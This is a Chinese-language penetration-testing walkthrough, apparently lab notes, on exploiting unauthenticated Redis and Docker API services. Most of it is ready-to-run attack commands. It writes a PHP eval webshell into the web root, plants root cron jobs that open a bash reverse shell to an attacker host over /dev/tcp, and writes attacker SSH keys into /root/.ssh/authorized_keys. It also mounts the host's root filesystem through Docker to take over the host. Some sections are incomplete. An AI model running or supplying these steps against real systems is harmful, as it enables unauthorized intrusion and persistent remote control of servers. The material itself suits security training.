- 通过nmap进行端口扫描,发现如下端口开放:
22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务
-
目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞:
首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:
tar -zxf redis-6.0.3.tar.gz
cd redis-6.0.3
编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli:
cd src/
cp redis-cli /usr/bin
cd …/…/
redis-cli -h 10.1.1.200 -p 6379
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
1. Redis未授权写webshell
1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x “<?php @eval($_POST['test']);?>” #添加一个键”x”,值为一句话木马
save #保存
set x “ <?php @eval($_POST['cmd']);?> ”
解释:” ” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
2.Redis未授权写定时任务反弹shell
1)Kali使用nc开启监听,kali终端下执行如下命令:
nc -lvvp 4433
2.)执行如下命令写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set xx “ */1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1 ”
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
3.Redis未授权写SSH公钥获得shell
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
(echo -e “ ”; cat ~/.ssh/id_rsa.pub; echo -e “ ”) > /tmp/foo.txt
3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
4)连接Redis
redis-cli -h 10.1.1.200 -p 6379
5)设置备份文件路径
config set dir /root/.ssh/
6)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename “authorized_keys”
7)远程连接目标机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
4.主从复制RCE
1. 通过nmap对目标进行信息收集,发现如下端口开放
22端口:ssh默认端口
- 使用docker命令连接目标机器
1)通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器
docker -H tcp://10.1.1.200 ps -a #列出所有容器
2. 进入容器的方法一:
3. 进入容器的方法二
- 新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)
注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。
dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。
4.docker未授权写ssh公钥获得shell:
1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。
'>'这个代表的意思为覆盖,>>代表为追加
此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh
写入后即可通过ssh进行连接,获取宿主机的shell:
5. docker未授权写定时任务获得shell
1)启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到中,攻击机会得到一个反弹的shell。
将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)
2)Kali开启监听:
3)写入反弹shell的脚本
*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1231 0>&1
4)获得目标shell